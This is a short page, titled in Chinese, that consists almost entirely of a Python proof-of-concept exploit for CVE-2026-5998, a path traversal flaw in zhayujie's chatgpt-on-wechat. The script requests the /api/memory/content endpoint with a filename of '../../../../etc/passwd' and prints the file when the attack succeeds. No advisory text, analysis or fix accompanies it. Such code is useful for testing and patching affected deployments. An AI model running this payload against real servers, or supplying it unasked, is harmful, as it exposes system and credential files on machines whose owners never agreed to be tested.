CVE-2026-5998 zhayujie路径遍历漏洞

import requests def exploit_poc(target_url): """ PoC for CVE-2026-5998: Path Traversal in zhayujie chatgpt-on-wechat """ # Vulnerable endpoint based on description (API Memory Content Endpoint) endpoint = "/api/memory/content" # Malicious filename parameter to traverse directories # Attempting to read /etc/passwd on Linux systems payload = { "filename": "../../../../etc/passwd" } try: # Sending the GET request to the target response = requests.get(f"{target_url}{endpoint}", params=payload, timeout=10) # Check if the response contains indicators of success if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability exploited successfully!") print(f"[+] Response content:\n{response.text}") else: print("[-] Exploit failed or target is not vulnerable.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:8080" exploit_poc(target)